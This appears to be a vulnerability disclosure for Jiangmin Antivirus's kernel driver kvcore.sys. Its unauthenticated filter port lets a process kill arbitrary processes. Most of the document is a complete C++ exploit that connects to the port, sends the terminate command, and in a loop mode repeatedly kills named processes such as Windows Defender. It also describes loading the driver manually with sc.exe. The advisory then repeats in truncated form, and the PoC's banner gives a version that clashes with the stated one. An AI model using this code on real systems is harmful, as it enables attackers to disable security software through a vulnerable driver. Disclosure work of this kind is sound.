Title
Arbitrary Process Termination via Unauthenticated Minifilter Message Handler in Jiangmin Antivirus Kernel Driver (kvcore.sys)
Affected Asset:
Product: Jiangmin Antivirus 江民防毒軟體 V21 (https://www.jiangmin.com.tw/show_news.asp?n_id=1179)
Component: kvcore.sys (Core Kernel Driver)
Version: 1.23.6.27
Severity
High - 8.1 (CVSS v3.1 AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Description of the Vulnerability
The Jiangmin Antivirus kernel driver, kvcore.sys exposes a minifilter communication port ("\KvCorePortX0") that accepts command messages from user-mode processes. The driver's MessageNotifyCallback (FUN_140008c60) dispatches a command code (0x1D / CMD_TERMINATE_PROCESS) to the internal function FUN_14000cf14, which terminates an arbitrary process specified by PID using the following kernel API chain:
- PsLookupProcessByProcessId(PID)
- ObOpenObjectByPointer(PROCESS_TERMINATE)
- ZwTerminateProcess(handle, 0)
The vulnerability exists because in FUN_14000688c, the filter communication port is created using FltBuildDefaultSecurityDescriptor() with an overly permissive access mask (0x1F0001), granting connection rights to EVERYONE (S-1-1-0). This allows any user-mode process to connect.
When a user-mode process sends a message to the KvCorePortX0 minifilter, the MessageNotifyCallback callback function (at FUN_140008c60) performs no caller authentication. There are no calls to SeSinglePrivilegeCheck(), PsGetCurrentProcess() validation, token verification, or any process allowlist check.
Proof of Concept/Step to Reproduce
The PoC needs to run in an administrator command prompt and the kvcore.sys driver must be running
- either Jiangmin Antivirus (江民防毒) running or
- Use sc.exe to manually create a kernel service (sc.exe create kvcore type= kernel binPath= ; sc.exe start kvcore)
Example:
.\kvcore_kill_poc.exe --name "MsMpEng.exe"
.\kvcore_kill_poc.exe --pid 3340
I have tested the PoC in Windows 11 24H2 (Build 26200). Please refer to PoC-MsMpEng.png for the test result showing the termination of Windows Defender as an example.
Exploit
#include <windows.h>
#include <fltuser.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <algorithm>
#pragma comment(lib, "fltlib.lib")
// =============================================================================
// Constants from reverse engineering kvcore.sys
// =============================================================================
// Minifilter communication port name (at VA 0x140027ab0 in .rdata)
#define KVCORE_PORT_NAME L"KvCorePortX0"
// Message command codes (FUN_140008c60 switch dispatch)
#define CMD_HIPS_JUDGE 0x01
#define CMD_SET_RULES 0x02
#define CMD_GET_REPORTS 0x03
#define CMD_DLL_INJECT 0x07
#define CMD_CREATE_PROC_RECORD 0x09
#define CMD_HEARTBEAT 0x0A
#define CMD_NOP 0x0B
#define CMD_ENABLE_PROTECT 0x0E
#define CMD_DISABLE_PROTECT 0x0F
#define CMD_GET_WORKMODE 0x10
#define CMD_SET_PROC_ATTR 0x11
#define CMD_SEND_FILEGUARD 0x12
#define CMD_SET_TIMING 0x13
#define CMD_KVCORE_CTRL 0x1C
#define CMD_TERMINATE_PROCESS 0x1D // <-- Process termination primitive
#define CMD_SET_FLAG 0x1E
#define CMD_SET_REG_RULES 0x1F
#define CMD_GET_STATUS 0x20
// Message buffer layout (must be exactly 0x68 = 104 bytes)
// Derived from FUN_140008c60 analysis:
// local_a80[0] = CommandCode
// local_a80[1] = OutputSize (written by some commands)
// *(uint64*)(local_a80+2) = DataSize (validated < MmHighestUserAddress)
// *(uint64*)(local_a80+4) = DataPtr (validated < MmHighestUserAddress)
// local_a80[6] = TargetPID (for CMD_TERMINATE_PROCESS)
// local_a80[7] = Extra field
#define MSG_BUFFER_SIZE 0x68
// Offset of TargetPID field within the message buffer
#define PID_OFFSET 0x18 // 6 * sizeof(DWORD) = 24
// Constraint: FUN_14000cf14 rejects PID < 5 (protects System Idle, System, etc.)
#define MIN_VALID_PID 5
// Default scan interval for continuous --name mode (milliseconds)
#define DEFAULT_SCAN_INTERVAL 1000
// Global flag for Ctrl+C graceful shutdown
static volatile BOOL g_running = TRUE;
// =============================================================================
// Message structure matching the driver's expected format
// =============================================================================
#pragma pack(push, 1)
typedef struct _KVCORE_MESSAGE {
DWORD CommandCode; // +0x00: Command selector
DWORD OutputSize; // +0x04: Output/result size
DWORD64 DataSize; // +0x08: Data size (validated < MmHighestUserAddress)
DWORD64 DataPtr; // +0x10: Data pointer (validated < MmHighestUserAddress)
DWORD TargetPid; // +0x18: Target PID for CMD_TERMINATE_PROCESS
DWORD ExtraField; // +0x1C: Additional parameter
BYTE Reserved[72]; // +0x20: Padding to fill 0x68 bytes total
} KVCORE_MESSAGE, *PKVCORE_MESSAGE;
#pragma pack(pop)
static_assert(sizeof(KVCORE_MESSAGE) == MSG_BUFFER_SIZE, "Message size mismatch");
// =============================================================================
// Helper: Resolve process name to PID using Toolhelp32
// =============================================================================
struct ProcessInfo {
DWORD Pid;
std::wstring Name;
};
std::vector<ProcessInfo> FindProcessesByName(const std::wstring& targetName) {
std::vector<ProcessInfo> results;
std::wstring lowerTarget = targetName;
std::transform(lowerTarget.begin(), lowerTarget.end(), lowerTarget.begin(), ::towlower);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
return results;
}
PROCESSENTRY32W entry = {};
entry.dwSize = sizeof(entry);
if (Process32FirstW(snapshot, &entry)) {
do {
std::wstring procName = entry.szExeFile;
std::wstring lowerName = procName;
std::transform(lowerName.begin(), lowerName.end(), lowerName.begin(), ::towlower);
if (lowerName == lowerTarget) {
results.push_back({ entry.th32ProcessID, procName });
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return results;
}
// =============================================================================
// Helper: Open filter communication port
// =============================================================================
HANDLE OpenKvCorePort(const std::wstring& portName) {
HANDLE hPort = NULL;
// Attempt 1: Use port name as-is
HRESULT hr = FilterConnectCommunicationPort(
portName.c_str(),
0, // Options
NULL, // Context
0, // ContextSize
NULL, // SecurityAttributes
&hPort
);
if (SUCCEEDED(hr)) {
return hPort;
}
// Attempt 2: Prepend backslash (the driver stores "\KvCorePortX0")
if (portName[0] != L'\\') {
std::wstring fullPortName = L"\\" + portName;
hr = FilterConnectCommunicationPort(
fullPortName.c_str(), 0, NULL, 0, NULL, &hPort
);
if (SUCCEEDED(hr)) {
return hPort;
}
}
// Attempt 3: Try without backslash if the original had one
if (portName[0] == L'\\') {
std::wstring stripped = portName.substr(1);
hr = FilterConnectCommunicationPort(
stripped.c_str(), 0, NULL, 0, NULL, &hPort
);
if (SUCCEEDED(hr)) {
return hPort;
}
}
printf("[-] Failed to connect to filter port '%ls' (HRESULT: 0x%08X)\n",
portName.c_str(), (unsigned int)hr);
// Provide detailed error info
DWORD err = GetLastError();
printf("[-] GetLastError: %u (0x%08X)\n", err, err);
if (hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND)) {
printf("[-] Port not found. The driver may not be loaded.\n");
} else if (hr == HRESULT_FROM_WIN32(ERROR_ACCESS_DENIED)) {
printf("[-] Access denied. Try running as Administrator.\n");
}
return NULL;
}
// =============================================================================
// Core: Send terminate process command via filter port
// =============================================================================
BOOL TerminateProcessViaDriver(HANDLE hPort, DWORD targetPid) {
KVCORE_MESSAGE msg = {};
KVCORE_MESSAGE reply = {};
DWORD bytesReturned = 0;
// Validate PID constraints (driver rejects PID < 5)
if (targetPid < MIN_VALID_PID) {
printf("[-] PID %u rejected by driver (minimum: %d)\n", targetPid, MIN_VALID_PID);
return FALSE;
}
// Check caller's own PID (driver skips if target == caller)
DWORD selfPid = GetCurrentProcessId();
if (targetPid == selfPid) {
printf("[-] Cannot terminate own process (PID %u)\n", selfPid);
return FALSE;
}
// Build the message:
// CommandCode = 0x1D (CMD_TERMINATE_PROCESS)
// DataSize/DataPtr = 0 (pass validation: 0 < MmHighestUserAddress)
// TargetPid = the process to kill
msg.CommandCode = CMD_TERMINATE_PROCESS;
msg.OutputSize = 0;
msg.DataSize = 0;
msg.DataPtr = 0;
msg.TargetPid = targetPid;
msg.ExtraField = 0;
printf("[*] Sending CMD_TERMINATE_PROCESS (0x%02X) for PID %u\n",
CMD_TERMINATE_PROCESS, targetPid);
printf("[*] Message buffer: %zu bytes\n", sizeof(msg));
printf("[*] CommandCode = 0x%02X\n", msg.CommandCode);
printf("[*] TargetPid = %u (0x%X)\n", msg.TargetPid, msg.TargetPid);
// Send the message via the minifilter communication port
// FilterSendMessage internally sends IOCTL IRP_MJ_DEVICE_CONTROL to fltmgr.sys
// which invokes the driver's MessageNotifyCallback (FUN_140008c60)
HRESULT hr = FilterSendMessage(
hPort,
&msg, // Input buffer (our crafted message)
sizeof(msg), // Input buffer size (must be 0x68)
&reply, // Output buffer (driver reply)
sizeof(reply), // Output buffer size
&bytesReturned // Bytes returned
);
if (SUCCEEDED(hr)) {
printf("[+] Driver accepted the command (HRESULT: 0x%08X)\n", (unsigned int)hr);
return TRUE;
} else {
printf("[-] FilterSendMessage failed (HRESULT: 0x%08X)\n", (unsigned int)hr);
// Decode common NTSTATUS values returned by the driver
switch (hr) {
case 0xC000000D:
printf("[-] STATUS_INVALID_PARAMETER\n");
break;
case 0xC0000023:
printf("[-] STATUS_BUFFER_TOO_SMALL\n");
break;
case 0xC0000034:
printf("[-] STATUS_OBJECT_NAME_NOT_FOUND\n");
break;
case 0xC000009A:
printf("[-] STATUS_INSUFFICIENT_RESOURCES\n");
break;
case 0xC0000225:
printf("[-] STATUS_NOT_FOUND\n");
break;
default:
// Driver-specific error codes
if ((hr & 0xFFFFFFF0) == 0xC0000000) {
printf("[-] NTSTATUS error: 0x%08X\n", (unsigned int)hr);
}
break;
}
return FALSE;
}
}
// =============================================================================
// Ctrl+C handler for graceful shutdown
// =============================================================================
BOOL WINAPI ConsoleCtrlHandler(DWORD ctrlType) {
if (ctrlType == CTRL_C_EVENT || ctrlType == CTRL_BREAK_EVENT) {
g_running = FALSE;
printf("\n\n[*] Ctrl+C received - shutting down gracefully...\n");
return TRUE;
}
return FALSE;
}
// =============================================================================
// Verify the target process was actually terminated
// =============================================================================
BOOL VerifyTermination(DWORD targetPid) {
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPid);
if (hProc == NULL) {
DWORD err = GetLastError();
if (err == ERROR_INVALID_PARAMETER) {
printf("[+] CONFIRMED: Process %u no longer exists\n", targetPid);
return TRUE;
}
printf("[?] Cannot verify: OpenProcess error %u\n", err);
return FALSE;
}
DWORD exitCode = 0;
if (GetExitCodeProcess(hProc, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
printf("[+] CONFIRMED: Process %u terminated (exit code: %u)\n", targetPid, exitCode);
CloseHandle(hProc);
return TRUE;
}
}
CloseHandle(hProc);
printf("[-] Process %u may still be running\n", targetPid);
return FALSE;
}
// =============================================================================
// Usage
// =============================================================================
void PrintUsage(const char* exeName) {
printf("Usage:\n");
printf(" %s --name <process.exe> [--port <name>] [--interval <ms>]\n", exeName);
printf(" %s --pid <PID> [--port <name>]\n", exeName);
printf("\n");
printf("Options:\n");
printf(" --pid <PID> Target process ID (one-shot, then exit)\n");
printf(" --name <name> Target process name (CONTINUOUS loop until Ctrl+C)\n");
printf(" --port <name> Filter port name (default: KvCorePortX0)\n");
printf(" --interval <ms> Scan interval in ms (default: %d)\n", DEFAULT_SCAN_INTERVAL);
printf(" --list List candidate port names to try\n");
printf(" --help Show this help\n");
printf("\n");
printf("Notes:\n");
printf(" - Requires Administrator privileges (to load/access the driver)\n");
printf(" - --name mode loops forever, killing every instance of the target\n");
printf(" - Press Ctrl+C to stop and disconnect cleanly\n");
printf(" - The driver rejects PIDs < %d (System Idle, System, etc.)\n", MIN_VALID_PID);
printf(" - The driver skips termination if target PID == caller PID\n");
printf("\n");
printf("Driver details (from RE):\n");
printf(" Device: \\Device\\KvCore -> \\DosDevices\\KvCoreCtrl\n");
printf(" Port: \\KvCorePortX0 (at VA 0x140027ab0)\n");
printf(" Handler: FUN_140008c60 (MessageNotifyCallback)\n");
printf(" Kill func: FUN_14000cf14 (PsLookup + ObOpen + ZwTerminate)\n");
}
void ListPortNames() {
printf("Candidate port names to try:\n");
printf(" 1. KvCorePortX0 (from binary, VA 0x140027ab0)\n");
printf(" 2. \\KvCorePortX0 (with leading backslash)\n");
printf(" 3. 325170 (filter altitude value)\n");
printf(" 4. KvCore (driver component name)\n");
printf(" 5. KVCORE (uppercase)\n");
}
// =============================================================================
// Entry point
// =============================================================================
int main(int argc, char* argv[]) {
printf("=== kvcore.sys BYOVD Process Termination PoC ===\n");
printf("Target: Jiangmin Antivirus Core Driver (kvcore.sys v1.0.0.1)\n");
printf("Vuln: No authentication on CMD_TERMINATE_PROCESS (0x1D)\n\n");
// Parse command line
DWORD targetPid = 0;
std::wstring processName;
std::wstring portName = KVCORE_PORT_NAME;
DWORD scanInterval = DEFAULT_SCAN_INTERVAL;
bool useName = false;
for (int i = 1; i < argc; i++) {
std::string arg = argv[i];
if (arg == "--pid" && i + 1 < argc) {
targetPid = (DWORD)atoi(argv[++i]);
} else if (arg == "--name" && i + 1 < argc) {
useName = true;
int wlen = MultiByteToWideChar(CP_ACP, 0, argv[++i], -1, NULL, 0);
processName.resize(wlen - 1);
MultiByteToWideChar(CP_ACP, 0, argv[i], -1, &processName[0], wlen);
} else if (arg == "--port" && i + 1 < argc) {
int wlen = MultiByteToWideChar(CP_ACP, 0, argv[++i], -1, NULL, 0);
portName.resize(wlen - 1);
MultiByteToWideChar(CP_ACP, 0, argv[i], -1, &portName[0], wlen);
} else if (arg == "--interval" && i + 1 < argc) {
scanInterval = (DWORD)atoi(argv[++i]);
if (scanInterval < 100) scanInterval = 100;
} else if (arg == "--list") {
ListPortNames();
return 0;
} else if (arg == "--help" || arg == "-h") {
PrintUsage(argv[0]);
return 0;
}
}
// Validate arguments
if (targetPid == 0 && !useName) {
printf("Error: Specify --pid <PID> or --name <process.exe>\n\n");
PrintUsage(argv[0]);
return 1;
}
printf("[*] Filter port: %ls\n", portName.c_str());
printf("[*] Caller PID: %u\n\n", GetCurrentProcessId());
// Connect to the driver's filter communication port
printf("[*] Connecting to filter port...\n");
HANDLE hPort = OpenKvCorePort(portName);
if (hPort == NULL) {
printf("\n[-] Could not connect to the driver.\n");
printf(" Troubleshooting:\n");
printf(" 1. Verify kvcore.sys is loaded: sc query kvcore\n");
printf(" 2. Try alternate port names with --port\n");
printf(" 3. Run as Administrator\n");
printf(" 4. Check if Jiangmin AV is installed and running\n");
return 1;
}
printf("[+] Connected to filter port successfully!\n\n");
// =========================================================================
// Mode 1: --pid (one-shot, terminate single PID then exit)
// =========================================================================
if (!useName) {
if (targetPid < MIN_VALID_PID) {
printf("[-] Invalid PID %u (driver minimum: %d)\n", targetPid, MIN_VALID_PID);
CloseHandle(hPort);
return 1;
}
printf("[*] ONE-SHOT mode: terminating PID %u\n\n", targetPid);
BOOL success = TerminateProcessViaDriver(hPort, targetPid);
if (success) {
Sleep(500);
VerifyTermination(targetPid);
}
CloseHandle(hPort);
printf("\n[*] Done.\n");
return success ? 0 : 1;
}
// =========================================================================
// Mode 2: --name (continuous loop - kill every instance until Ctrl+C)
// =========================================================================
printf("[+] CONTINUOUS mode: killing all '%ls' processes\n", processName.c_str());
printf("[*] Scan interval: %u ms\n", scanInterval);
printf("[*] Press Ctrl+C to stop\n\n");
// Register Ctrl+C handler
SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE);
DWORD totalKilled = 0;
DWORD scanCount = 0;
while (g_running) {
scanCount++;
auto processes = FindProcessesByName(processName);
if (processes.empty()) {
// Overwrite the same line to avoid spamming
printf("\r[*] Scan #%u: no '%ls' instances found ",
scanCount, processName.c_str());
fflush(stdout);
} else {
// Found one or more instances - kill them all
printf("\n[*] Scan #%u: found %zu instance(s) of '%ls'\n",
scanCount, processes.size(), processName.c_str());
for (const auto& proc : processes) {
if (!g_running) break;
// Skip own process
if (proc.Pid == GetCurrentProcessId()) {
printf(" [~] Skipping own process (PID %u)\n", proc.Pid);
continue;
}
// Skip protected PIDs
if (proc.Pid < MIN_VALID_PID) {
printf(" [~] Skipping protected PID %u\n", proc.Pid);
continue;
}
printf(" [>] Killing PID %u (%ls) ... ", proc.Pid, proc.Name.c_str());
fflush(stdout);
BOOL ok = TerminateProcessViaDriver(hPort, proc.Pid);
if (ok) {
totalKilled++;
printf("OK\n");
} else {
printf("FAILED\n");
}
}
}
// Wait for the next scan cycle, checking g_running every 100ms
for (DWORD waited = 0; waited < scanInterval && g_running; waited += 100) {
Sleep(100);
}
}
// =========================================================================
// Cleanup on Ctrl+C
// =========================================================================
printf("\n\n[*] === Shutdown Summary ===\n");
printf(" Scans performed : %u\n", scanCount);
printf(" Processes killed: %u\n", totalKilled);
printf(" Target name : %ls\n", processName.c_str());
CloseHandle(hPort);
printf("[+] Disconnected from filter port.\n");
printf("[*] Bye.\n");
return 0;
}
Mitigations and Recommendations
- Implement caller authentication in the MessageNotifyCallback
e.g., validate the caller's process identity against an allowlist of trusted Jiangmin user-mode components, verify the connecting process's image path
- Restrict the filter communication port's security descriptor
- Replace FltBuildDefaultSecurityDescriptor(0x1F0001) with a custom DACL that grants access only to SYSTEM and Administrators group
Title
Arbitrary Process Termination via Unauthenticated Minifilter Message Handler in Jiangmin Antivirus Kernel Driver (kvcore.sys)
Affected Asset:
Product: Jiangmin Antivirus 江民防毒軟體 V21 (https://www.jiangmin.com.tw/show_news.asp?n_id=1179)
Component: kvcore.sys (Core Kernel Driver)
Version: 1.23.6.27
Severity
High - 8.1 (CVSS v3.1 AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Description of the Vulnerability
The Jiangmin Antivirus kernel driver, kvcore.sys exposes a minifilter communication port ("\KvCorePortX0") that accepts command messages from user-mode processes. The driver's MessageNotifyCallback (FUN_140008c60) dispatches a command code (0x1D / CMD_TERMINATE_PROCESS) to the internal function FUN_14000cf14, which terminates an arbitrary process specified by PID using the following kernel API chain:
The vulnerability exists because in FUN_14000688c, the filter communication port is created using FltBuildDefaultSecurityDescriptor() with an overly permissive access mask (0x1F0001), granting connection rights to EVERYONE (S-1-1-0). This allows any user-mode process to connect.
When a user-mode process sends a message to the KvCorePortX0 minifilter, the MessageNotifyCallback callback function (at FUN_140008c60) performs no caller authentication. There are no calls to SeSinglePrivilegeCheck(), PsGetCurrentProcess() validation, token verification, or any process allowlist check.
Proof of Concept/Step to Reproduce
The PoC needs to run in an administrator command prompt and the kvcore.sys driver must be running
Example:
I have tested the PoC in Windows 11 24H2 (Build 26200). Please refer to PoC-MsMpEng.png for the test result showing the termination of Windows Defender as an example.
Exploit
Mitigations and Recommendations
e.g., validate the caller's process identity against an allowlist of trusted Jiangmin user-mode components, verify the connecting process's image path